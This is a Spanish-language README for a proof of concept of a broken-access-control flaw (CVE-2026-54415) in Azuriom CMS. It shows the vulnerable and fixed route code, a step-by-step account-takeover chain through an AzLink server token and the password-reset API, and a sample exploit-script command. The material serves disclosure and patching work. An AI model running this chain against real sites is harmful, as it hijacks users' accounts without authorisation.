
PoC para CVE-2026-54415 — Azuriom CMS (<1.2.11) Control de acceso roto → toma de control de la cuenta
La falta de autorización en las rutas de gestión de servidores del panel de administración en Azuriom CMS < 1.2.11 permite que cualquier administrador con pocos privilegios (que solo tenga admin.access) genere un token de servidor AzLink y tome el control de cualquier cuenta que no sea de administrador.
| CVE | CVE-2026-54415 |
| Producto | Azuriom CMS |
| Afectado | < 1.2.11 |
| Corregido en | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (Falta de autorización), CWE-269 (Gestión inadecuada de privilegios) |
| CVSS 3.1 | 8.1 Alto — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 Alto — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Este PoC se publica con fines defensivos y educativos contra una versión parcheada. Ejecútalo únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba. Actualiza a Azuriom
1.2.11+.
✅ Verificado de extremo a extremo contra una instancia local de Azuriom 1.2.10 — bypass del control de acceso, generación de tokens, cambio de contraseña confirmado + inicio de sesión de la víctima y el límite de protección de administradores.
En routes/admin.php, todo el panel de administración está restringido por un único grupo can:admin.access, y se espera que cada función sensible añada su propio middleware granular can:admin.*. Antes de 1.2.11, las rutas de gestión de servidores se distribuyeron sin dicho middleware:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Por lo tanto, cualquier usuario que pueda siquiera acceder al panel de administración (admin.access) puede crear servidores. No existía ningún permiso admin.servers en absoluto — no se creó hasta la corrección.
El proveedor creó un nuevo permiso admin.servers y envolvió las rutas con él:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
El mismo commit también añadió las comprobaciones de permisos que faltaban a las rutas social-links y pages/posts.attachments.
Crear un servidor genera un token de servidor de 32 caracteres (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Ese token autentica la API AzLink (routes/api.php), cuyo middleware VerifyServerToken confía en cualquier solicitud que lleve una cabecera Azuriom-Link-Token válida. AzLink expone endpoints de gestión de cuentas:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword solo rechaza la solicitud cuando el objetivo isAdmin() — toda cuenta no administradora puede ser tomada:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
La creación del servidor llama a $server->bridge()->verifyLink() antes de guardar. Para el tipo mc-azlink esto es incondicionalmente cierto:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Por lo tanto, el atacante proporciona cualquier address ficticia, el servidor se guarda de todos modos, y el token recién generado se muestra en el panel dentro del comando de configuración de AzLink (/azlink setup <url> <token>).
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
El script inicia sesión, genera un token de servidor, lo extrae, restablece la contraseña de la víctima a través de AzLink e imprime el token + el resultado. Consulta poc.py --help para ver todas las opciones. Requiere requests (pip install requests).
1.2.11 o posterior.admin_servers y revoca cualquier token de servidor inesperado.admin.access.1.2.11MIT — solo para pruebas de seguridad e investigación autorizadas.